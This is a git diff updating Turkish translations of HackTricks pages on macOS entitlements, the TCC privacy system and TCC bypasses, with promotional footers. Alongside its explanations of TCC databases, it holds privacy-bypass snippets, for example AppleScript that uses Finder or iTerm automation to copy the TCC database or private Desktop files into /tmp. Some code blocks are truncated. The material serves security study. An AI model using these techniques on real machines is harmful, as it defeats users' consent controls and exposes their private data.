+Varsayılan olarak **yasaklanmış olan** uygulama paketleri içindeki dosyaları değiştirmeye izin verir (uygulama.app içinde).
-
+
-Bu erişime kimin sahip olduğunu kontrol etmek mümkündür: _Sistem Ayarları_ > _Gizlilik ve Güvenlik_ > _Uygulama Yönetimi_.
+Bu erişime kimin sahip olduğunu kontrol etmek mümkündür: _Sistem Ayarları_ > _Gizlilik ve Güvenlik_ > _Uygulama Yönetimi._
### `kTCCServiceAccessibility`
-İşlem, macOS erişilebilirlik özelliklerini **kötüye kullanabilir**, bu da örneğin tuş vuruşları yapabilmesi anlamına gelir. Bu izinle Finder gibi bir uygulamayı kontrol etmek için erişim isteyebilir ve bu izinle iletişim kutusunu onaylayabilir.
+İşlem, **macOS erişilebilirlik özelliklerini kötüye kullanabilir**, Bu da örneğin tuş vuruşları yapabilmesi demektir. Bu nedenle, Finder gibi bir uygulamayı kontrol etme erişimini isteyebilir ve bu izinle iletişim kutusunu onaylayabilir.
## Orta
### `com.apple.security.cs.allow-jit`
-Bu yetki, `mmap()` sistem işlevine `MAP_JIT` bayrağını geçerek **yazılabilir ve yürütülebilir bellek oluşturmayı** sağlar. Daha fazla bilgi için [**burayı kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
+Bu ayrıcalık, `mmap()` sistem işlevine `MAP_JIT` bayrağını geçirerek **yazılabilir ve yürütülebilir bellek oluşturmayı** sağlar. Daha fazla bilgi için [**buraya bakın**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
### `com.apple.security.cs.allow-unsigned-executable-memory`
-Bu yetki, C kodunu **geçersiz kılmak veya yamalamak**, temel olarak güvensiz olan **`NSCreateObjectFileImageFromMemory`**'yi kullanmak (veya **DVDPlayback** çerçevesini kullanmak) için kullanılır. Daha fazla bilgi için [**burayı kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
+Bu ayrıcalık, **C kodunu geçersiz kılmaya veya yamamaya**, uzun süredir kullanılmayan **`NSCreateObjectFileImageFromMemory`**'ı kullanmaya (temelde güvensiz) veya **DVDPlayback** çerçevesini kullanmaya izin verir. Daha fazla bilgi için [**buraya bakın**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
{% hint style="danger" %}
-Bu yetkiyi eklemek, uygulamanızı bellek güvenli olmayan kod dillerinde yaygın olarak görülen güvenlik açıklarına karşı savunmasız hale getirir. Uygulamanızın bu istisnayı ihtiyaç duyup duymadığını dikkatlice düşünün.
+Bu ayrıcalığı eklemek, uygulamanızı bellek güvensiz kod dillerinde yaygın güvenlik açıklarına maruz bırakır. Uygulamanızın bu istisnaya ihtiyaç duyup duymadığını dikkatlice düşünün.
{% endhint %}
### `com.apple.security.cs.disable-executable-page-protection`
-Bu yetki, **kendi yürütülebilir dosyalarının** diskteki bölümlerini değiştirmeye izin verir. Daha fazla bilgi için [**burayı kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
+Bu ayrıcalık, **kendi yürütülebilir dosyalarının diskteki bölümlerini değiştirmeye** izin verir. Daha fazla bilgi için [**buraya bakın**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
{% hint style="danger" %}
-Devre Dışı Bırakılabilir Sayfa Koruması Yetkisi, uygulamanızdan temel bir güvenlik korumasını kaldıran aşırı bir yetkidir ve bir saldırganın uygulamanızın yürütülebilir kodunu tespit edilmeden yeniden yazabilmesine olanak tanır. Mümkünse daha dar yetkileri tercih edin.
+Devre Dışı Bırakılabilir Yürütülebilir Sayfa Koruma Ayrıcalığı, uygulamanızdan temel bir güvenlik korumasını kaldırarak, saldırganın uygulamanızın yürütülebilir kodunu algılanmadan yeniden yazmasını mümkün kılar. Mümkünse daha dar ayrıcalıkları tercih edin.
{% endhint %}
### `com.apple.security.cs.allow-relative-library-loads`
@@ -163,31 +164,29 @@ TODO
### `com.apple.private.nullfs_allow`
-Bu yetki, varsayılan olarak yasaklanmış bir nullfs dosya sistemi bağlamayı sağlar. Araç: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
+Bu ayrıcalık, varsayılan olarak yasaklanmış olan bir nullfs dosya sistemi bağlamasına izin verir. Araç: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
### `kTCCServiceAll`
-Bu blog yazısına göre, bu TCC izni genellikle şu şekilde bulunur:
+Bu blog yazısına göre, bu TCC izni genellikle şu formda bulunur:
```
[Key] com.apple.private.tcc.allow-prompting
[Value]
[Array]
[String] kTCCServiceAll
```
-**Tüm TCC izinlerini talep etmek için** işleme izin verin.
-
### **`kTCCServicePostEvent`**
-AWS hacklemeyi sıfırdan kahraman olmak için öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
+Tüm TCC izinlerini istemek için işleme izin verin
-HackTricks'i desteklemenin diğer yolları:
+Diğer HackTricks'i destekleme yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
-* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
-* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.
+* Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.
+* Hacking püf noktalarınızı paylaşarak PR'lar göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md
index 1c8570322..06e1c22a0 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md
@@ -2,37 +2,37 @@
-Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğreninhtARTE (HackTricks AWS Red Team Expert) ile!
+AWS hacklemeyi sıfırdan ileri seviyeye öğreninhtARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* 💬 **Discord grubuna** katılın](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u takip edin.
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
+* 💬 **Discord grubuna** katılın](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u takip edin.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
## **Temel Bilgiler**
-**TCC (Transparency, Consent, and Control)**, uygulama izinlerini düzenlemeye odaklanan bir güvenlik protokolüdür. Temel amacı, **konum hizmetleri, kişiler, fotoğraflar, mikrofon, kamera, erişilebilirlik ve tam disk erişimi** gibi hassas özellikleri korumaktır. Bu öğelerin uygulamalara erişimini sağlamadan önce açık kullanıcı onayını zorunlu kılarak, TCC gizliliği artırır ve kullanıcıların verileri üzerinde kontrol sağlar.
+**TCC (Şeffaflık, Onay ve Kontrol)**, uygulama izinlerini düzenlemeye odaklanan bir güvenlik protokolüdür. Temel amacı, **konum hizmetleri, kişiler, fotoğraflar, mikrofon, kamera, erişilebilirlik ve tam disk erişimi** gibi hassas özellikleri korumaktır. Bu öğelerin uygulamalara erişimini sağlamadan önce açıkça kullanıcı onayını zorunlu kılarak, TCC gizliliği artırır ve kullanıcıların verileri üzerinde kontrol sahibi olmalarını sağlar.
-Kullanıcılar, uygulamaların korunan özelliklere erişim istediğinde TCC ile karşılaşırlar. Bu, kullanıcılara **erişimi onaylama veya reddetme** seçeneği sunan bir uyarı aracılığıyla görülebilir. Ayrıca, TCC, uygulamaların yalnızca açıkça izin verilenlere erişim sağlamak için belirli dosyalara erişim sağlamak için **dosyaları bir uygulamaya sürükleyip bırakma** gibi doğrudan kullanıcı eylemlerini de destekler.
+Kullanıcılar, uygulamaların korunan özelliklere erişim istediğinde TCC ile karşılaşırlar. Bu, kullanıcılara **erişimi onaylama veya reddetme** seçeneği sunan bir uyarı aracılığıyla görülebilir. Ayrıca, TCC, **dosyaları bir uygulamaya sürükleyip bırakma** gibi doğrudan kullanıcı eylemlerini de destekler ve uygulamaların yalnızca açıkça izin verilenlere erişim sağlamasını sağlar.
![Bir TCC uyarı örneği](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
**TCC**, `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` konumunda bulunan **daemon** tarafından işlenir ve `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` dosyasında yapılandırılır (`com.apple.tccd.system` mach servisini kaydeder).
-Her oturum açılan kullanıcı için tanımlanan `/System/Library/LaunchAgents/com.apple.tccd.plist` dosyasında çalışan **kullanıcı modu tccd** bulunur ve `com.apple.tccd` ve `com.apple.usernotifications.delegate.com.apple.tccd` mach servislerini kaydeder.
+Her oturum açılan kullanıcı için tanımlanan `/System/Library/LaunchAgents/com.apple.tccd.plist` dosyasında çalışan bir **kullanıcı modu tccd** bulunur ve `com.apple.tccd` ve `com.apple.usernotifications.delegate.com.apple.tccd` mach servislerini kaydeder.
-Burada sistem olarak çalışan tccd ve kullanıcı olarak çalışan tccd'yi görebilirsiniz:
+Burada sistem olarak çalışan tccd'yi ve kullanıcı olarak çalışan tccd'yi görebilirsiniz:
```bash
ps -ef | grep tcc
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
```
-İzinler **ana uygulamadan miras alınır** ve **izinler** **Bundle ID** ve **Developer ID**'ye göre **izlenir**.
+İzinler **ana uygulamadan miras alınır** ve **izinler** **Bundle ID** ve **Developer ID**'ye göre izlenir.
### TCC Veritabanları
@@ -55,7 +55,7 @@ Ancak, bu yüksek ayrıcalıklara sahip bir işlem (FDA veya `kTCCServiceEndpoin
- SIP korumalı dosya **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (herkes tarafından okunabilir) TCC istisnası gerektiren uygulamaların izin listesidir.
{% hint style="success" %}
-**iOS**'deki TCC veritabanı **`/private/var/mobile/Library/TCC/TCC.db`** içindedir.
+**iOS**'taki TCC veritabanı **`/private/var/mobile/Library/TCC/TCC.db`** içindedir.
{% endhint %}
{% hint style="info" %}
@@ -127,12 +127,12 @@ Her iki veritabanını da kontrol ederek bir uygulamanın izin verdiği, yasakla
{% endhint %}
- **`service`**, TCC **izin** dizesinin temsilidir
-- **`client`**, izinlere sahip olan veya izinlere sahip olmayan **bundle ID** veya **binary yoludur**
+- **`client`**, izinlere sahip olan **bundle ID** veya **binary yoludur**
- **`client_type`**, bir Bundle Kimliği(0) mi yoksa mutlak yol(1) mi olduğunu belirtir
-Absolut yol ise nasıl yürütülür
+Absolut yol olduğunda nasıl yürütülür
Sadece **`launctl load you_bin.plist`** yapın, plist ile:
```xml
@@ -171,11 +171,11 @@ Sadece **`launctl load you_bin.plist`** yapın, plist ile:
```
-
+
* **`auth_value`** farklı değerlere sahip olabilir: denied(0), unknown(1), allowed(2) veya limited(3).
* **`auth_reason`** aşağıdaki değerleri alabilir: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
-* **csreq** alanı, yürütülecek olan ikili dosyanın nasıl doğrulanacağını ve TCC izinlerini nasıl vereceğini belirtmek için bulunmaktadır:
+* **csreq** alanı, yürütülecek olan ikili dosyayı nasıl doğrulayacağını ve TCC izinlerini nasıl vereceğini belirtmek için bulunmaktadır:
```bash
# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;
@@ -193,7 +193,7 @@ echo "X'$REQ_HEX'"
```
* Tablonun **diğer alanları** hakkında daha fazla bilgi için [**bu blog yazısına**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive) göz atabilirsiniz.
-Ayrıca, `Sistem Tercihleri --> Güvenlik ve Gizlilik --> Gizlilik --> Dosyalar ve Klasörler` bölümünde uygulamalara verilen **izinleri kontrol edebilirsiniz**.
+Ayrıca, uygulamalara verilen izinleri `Sistem Tercihleri --> Güvenlik ve Gizlilik --> Gizlilik --> Dosyalar ve Klasörler` bölümünden kontrol edebilirsiniz.
{% hint style="success" %}
Kullanıcılar **`tccutil`** kullanarak **kuralları silebilir veya sorgulayabilir**.
@@ -209,7 +209,7 @@ tccutil reset All
```
### TCC İmza Kontrolleri
-TCC **veritabanı**, uygulamanın **Paket Kimliği**'ni depolar, ancak aynı zamanda bir izni kullanmak için başvuran Uygulamanın doğru olduğundan emin olmak için **imza** hakkında **bilgi** de **saklar**.
+TCC **veritabanı**, uygulamanın **Paket Kimliği**ni depolar, ancak aynı zamanda bir izni kullanmak için başvuran Uygulamanın doğru olduğundan emin olmak için **imza** hakkında **bilgi** de depolar.
```bash
# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
@@ -230,9 +230,9 @@ Bu nedenle, aynı adı ve paket kimliğini kullanan diğer uygulamalar, diğer u
### Yetkiler ve TCC İzinleri
Uygulamalar **sadece** bazı kaynaklara **erişim istemekle kalmaz**, aynı zamanda **ilgili yetkilere sahip olmalıdır**.\
-Örneğin **Telegram**, kameraya **erişim istemek için** `com.apple.security.device.camera` yetkisine sahiptir. Bu **yetkiye sahip olmayan bir uygulama** kameraya erişemez (ve kullanıcıya izinler sorulmaz).
+Örneğin **Telegram**, kameraya **erişim istemek** için `com.apple.security.device.camera` yetkisine sahiptir. Bu **yetkiye sahip olmayan bir uygulama** kameraya erişemez (ve kullanıcı izinleri bile istenmez).
-Ancak, uygulamaların `~/Desktop`, `~/Downloads` ve `~/Documents` gibi **belirli kullanıcı klasörlerine erişmek** için herhangi bir **özel yetkiye ihtiyaçları yoktur.** Sistem, erişimi şeffaf bir şekilde ele alacak ve gerektiğinde **kullanıcıya uyarı gösterecektir.**
+Ancak, uygulamaların `~/Desktop`, `~/Downloads` ve `~/Documents` gibi **belirli kullanıcı klasörlerine erişmesi** için herhangi bir **özel yetkiye ihtiyaçları yoktur.** Sistem, erişimi şeffaf bir şekilde ele alacak ve gerektiğinde **kullanıcıya uyarı gösterecektir.**
Apple'ın uygulamaları **uyarılar oluşturmaz.** Onlar, **yetkilendirme listelerinde önceden verilmiş haklara** sahiptir, bu da **asla bir pencere oluşturmayacakları** ve **TCC veritabanlarında görünmeyecekleri** anlamına gelir. Örneğin:
```bash
@@ -245,13 +245,13 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
kTCCServiceAddressBook
```
-Bu, Takvim'in kullanıcıdan hatırlatıcılar, takvim ve adres defterine erişim istemesini engelleyecektir.
+Bu, Takvim'in kullanıcıya hatırlatıcılar, takvim ve adres defterine erişim istemesini engelleyecektir.
{% hint style="success" %}
-Yetkilendirmeler hakkında resmi belgelerin yanı sıra, [https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl) adresinde **yetkilendirmelerle ilgili ilginç bilgileri** de bulmak mümkündür.
+Yetkilendirmeler hakkında resmi belgelere ek olarak, [https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl) adresinde **yetkilendirmelerle ilgili ilginç bilgileri** de bulmak mümkündür.
{% endhint %}
-Bazı TCC izinleri şunlardır: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Tümünü tanımlayan genel bir liste bulunmamakla birlikte, bu [bilinenlerin listesini](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service) kontrol edebilirsiniz.
+Bazı TCC izinleri şunlardır: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Tümünü tanımlayan genel bir liste bulunmamaktadır, ancak [**bilinenlerin listesini**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service) kontrol edebilirsiniz.
### Hassas korunmasız yerler
@@ -261,7 +261,7 @@ Bazı TCC izinleri şunlardır: kTCCServiceAppleEvents, kTCCServiceCalendar, kTC
### Kullanıcı Niyeti / com.apple.macl
-Daha önce belirtildiği gibi, bir dosyaya erişime izin vermek için onu bir uygulamaya sürükleyip bırakmak mümkündür. Bu erişim, herhangi bir TCC veritabanında belirtilmeyecek ancak dosyanın **uzatılmış bir niteliği** olarak saklanacaktır. Bu nitelik, izin verilen uygulamanın **UUID'sini saklayacaktır**:
+Daha önce belirtildiği gibi, bir dosyaya erişime izin vermek için onu bir uygulamaya sürükleyip bırakmak mümkündür. Bu erişim, herhangi bir TCC veritabanında belirtilmeyecek ancak dosyanın **uzatılmış bir özniteliği** olarak saklanacaktır. Bu öznitelik, izin verilen uygulamanın **UUID'sini saklayacaktır**:
```bash
xattr Desktop/private.txt
com.apple.macl
@@ -282,7 +282,7 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
Ayrıca, bilgisayarınızdaki bir uygulamanın UUID'sine izin veren bir dosyayı farklı bir bilgisayara taşırsanız, çünkü aynı uygulamanın farklı UID'leri olacaktır, o uygulamaya erişim izni vermez.
{% endhint %}
-`com.apple.macl` genişletilmiş özniteliği diğer genişletilmiş öznitelikler gibi **SIP tarafından korunduğu için** **temizlenemez**. Bununla birlikte, [**bu gönderide açıklandığı gibi**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), dosyayı **sıkıştırarak**, **silmeyi** ve **sıkıştırılmış dosyayı açmayı** devre dışı bırakmak mümkündür.
+`com.apple.macl` genişletilmiş özniteliği, diğer genişletilmiş öznitelikler gibi **SIP** tarafından korunduğu için **temizlenemez**. Bununla birlikte, [**bu yazıda açıklandığı gibi**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), dosyayı **sıkıştırarak**, **silmeyi** ve **sıkıştırılmış dosyayı açmayı** devre dışı bırakmak mümkündür.
## TCC Privesc & Bypasses
@@ -336,7 +336,7 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
### TCC Yükleri
-Eğer bir uygulamaya bazı TCC izinleri ile girdiyseniz, bunları kötüye kullanmak için TCC yükleri sayfasına bakın:
+Eğer bir uygulamaya bazı TCC izinleriyle girdiyseniz, bunları kötüye kullanmak için aşağıdaki sayfayı kontrol edin:
{% content-ref url="macos-tcc-payloads.md" %}
[macos-tcc-payloads.md](macos-tcc-payloads.md)
@@ -345,13 +345,13 @@ Eğer bir uygulamaya bazı TCC izinleri ile girdiyseniz, bunları kötüye kulla
### Otomasyon (Finder) için FDA\*
Otomasyon izninin TCC adı: **`kTCCServiceAppleEvents`**\
-Bu belirli TCC izni aynı zamanda TCC veritabanında yönetilebilecek **uygulamayı da belirtir** (yani izinler sadece her şeyi yönetmeye izin vermez).
+Bu belirli TCC izni aynı zamanda TCC veritabanı içinde **yönetilebilecek uygulamayı** belirtir (yani izinler sadece her şeyi yönetmeye izin vermez).
-**Finder**, **her zaman FDA'ya sahip olan** bir uygulamadır (UI'de görünmese bile), bu yüzden üzerinde **Otomasyon** ayrıcalıklarınız varsa, bu ayrıcalıkları kötüye kullanarak **bazı işlemler yaptırabilirsiniz**.\
+**Finder**, **her zaman FDA'ya sahip** bir uygulamadır (UI'de görünmese bile), bu yüzden üzerinde **Otomasyon** ayrıcalıklarınız varsa, bu ayrıcalıkları kötüye kullanarak **bazı işlemler yapmasını sağlayabilirsiniz**.\
Bu durumda uygulamanızın **`com.apple.Finder`** üzerinde **`kTCCServiceAppleEvents`** iznine ihtiyacı olacaktır.
{% tabs %}
-{% tab title="Kullanıcıların TCC.db'sini Çalma" %}
+{% tab title="Kullanıcıların TCC.db dosyasını çalma" %}
```applescript
# This AppleScript will copy the system TCC database into /tmp
osascript<
+
{% hint style="danger" %}
**Automator** uygulamasının **`kTCCServiceAppleEvents`** TCC iznine sahip olması nedeniyle, Finder gibi herhangi bir uygulamayı **kontrol edebilir**. Bu nedenle, Automator'ı kontrol etme iznine sahip olduğunuzda aşağıdaki gibi bir kodla **Finder'ı** da kontrol edebilirsiniz:
@@ -418,11 +418,11 @@ EOD
```
-**Script Editor uygulaması** için aynı durum geçerlidir, Finder'ı kontrol edebilir, ancak bir AppleScript kullanarak bir betiği çalıştırmaya zorlayamazsınız.
+**Script Editor uygulaması** için de aynı durum geçerlidir, Finder'ı kontrol edebilir, ancak bir AppleScript kullanarak bir betiği çalıştırmaya zorlayamazsınız.
### Otomasyon (SE) bazı TCC'lere
-**Sistem Olayları** Klasör Eylemleri oluşturabilir ve Klasör eylemleri bazı TCC klasörlerine erişebilir (Masaüstü, Belgeler ve İndirmeler), bu nedenle aşağıdaki gibi bir betik bu davranışı kötüye kullanmak için kullanılabilir:
+**Sistem Olayları Klasör Eylemleri oluşturabilir ve Klasör eylemleri bazı TCC klasörlerine erişebilir** (Masaüstü, Belgeler ve İndirmeler), bu nedenle aşağıdaki gibi bir betik bu davranışı kötüye kullanmak için kullanılabilir:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md
index 91f5c38f2..8dae292a7 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md
@@ -2,11 +2,11 @@
-Sıfırdan kahraman olana kadar AWS hacklemeyi öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
+Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
HackTricks'i desteklemenin diğer yolları:
-* Şirketinizin **HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
@@ -32,7 +32,7 @@ asd
### TCC ClickJacking
-Kullanıcıyı **fark etmeden kabul etmeye** zorlamak için TCC uyarısının üzerine bir pencere **yerleştirilebilir**. Bir PoC'yi [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**'de** bulabilirsiniz.
+Kullanıcıyı **fark etmeden kabul etmesini** sağlamak için TCC uyarısının üzerine bir pencere **yerleştirilebilir**. Bir PoC'yi [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**'de** bulabilirsiniz.
@@ -55,7 +55,7 @@ Varsayılan olarak **SSH üzerinden erişim "Tam Disk Erişimi"**ne sahiptir. Bu
![](<../../../../../.gitbook/assets/image (569).png>)
-İşte bazı **kötü amaçlı yazılımların bu korumayı atlatmayı** nasıl başardığını gösteren örnekler:
+İşte bazı **kötü amaçlı yazılımların bu korumayı atlatmayı** nasıl başardığının örnekleri:
* [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
@@ -65,17 +65,17 @@ Varsayılan olarak **SSH üzerinden erişim "Tam Disk Erişimi"**ne sahiptir. Bu
### Uzantıları İşleme - CVE-2022-26767
-Dosyalara **belirli bir uygulamanın okuma izinlerini vermek** için **`com.apple.macl`** özniteliği verilir. Bu öznitelik, bir dosyayı bir uygulamanın üzerine sürükleyip bıraktığınızda veya bir kullanıcı bir dosyayı varsayılan uygulama ile açmak için **çift tıkladığında** ayarlanır.
+Dosyalara **belirli bir uygulamanın okuma izinlerini vermek** için **`com.apple.macl`** özniteliği verilir. Bu öznitelik, bir dosyayı bir uygulamanın üzerine sürükleyip bıraktığınızda veya bir kullanıcı dosyayı **çift tıklattığında** varsayılan uygulama ile açtığında ayarlanır.
-Bu nedenle, bir kullanıcı **tüm uzantıları işlemek için kötü amaçlı bir uygulama** kaydedebilir ve Launch Services'ı çağırarak herhangi bir dosyayı **açabilir** (bu nedenle kötü amaçlı dosya okuma izni verilir).
+Bu nedenle, bir kullanıcı **tüm uzantıları ele alacak kötü amaçlı bir uygulama** kaydedebilir ve Launch Services'ı çağırarak herhangi bir dosyayı **açabilir** (bu nedenle kötü amaçlı dosya okuma izni verilir).
### iCloud
-**`com.apple.private.icloud-account-access`** ayrıcalığı ile **`com.apple.iCloudHelper`** XPC hizmeti ile iletişim kurmak mümkündür ve bu hizmet **iCloud belgelerini sağlayacaktır**.
+**`com.apple.private.icloud-account-access`** ayrıcalığı ile **`com.apple.iCloudHelper`** XPC hizmetiyle iletişim kurmak mümkündür ve bu hizmet **iCloud belgelerini sağlayacaktır**.
**iMovie** ve **Garageband** bu ayrıcalığa sahipti ve diğerleri de sahipti.
-Bu ayrıcalıktan **iCloud belgelerini almak için** söz konusu söz hakkında daha fazla **bilgi** için şu konuşmayı kontrol edin: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
+Bu ayrıcalıktan **iCloud belgelerini almak** için bir açıdan daha fazla **bilgi** için şu konuşmayı kontrol edin: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### kTCCServiceAppleEvents / Otomasyon
@@ -93,7 +93,7 @@ Apple Betikleri hakkında daha fazla bilgi için kontrol edin:
#### iTerm Üzerinde
-FDA'ya sahip olmayan Terminal, FDA'ya sahip olan iTerm'i çağırabilir ve işlemleri gerçekleştirmek için kullanabilir:
+FDA'ya sahip olmayan Terminal, FDA'ya sahip iTerm'i çağırabilir ve işlemleri gerçekleştirmek için kullanabilir:
{% code title="iterm.script" %}
```applescript
@@ -107,13 +107,13 @@ write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell
```
-{% endcode %} dosyası, macOS TCC atlamaları hakkında bilgi içerir. Bu dosya, macOS güvenlik korumaları ve ayrıcalık yükseltme konularını ele almaktadır.
+{% endcode %}
```bash
osascript iterm.script
```
#### Finder Üzerinden
-Veya bir Uygulamanın Finder üzerinden erişimi varsa, şöyle bir betik çalıştırabilir:
+Veya bir Uygulamanın Finder üzerinden erişimi varsa, şöyle bir betik olabilir:
```applescript
set a_user to do shell script "logname"
tell application "Finder"
@@ -130,7 +130,7 @@ do shell script "rm " & POSIX path of (copyFile as alias)
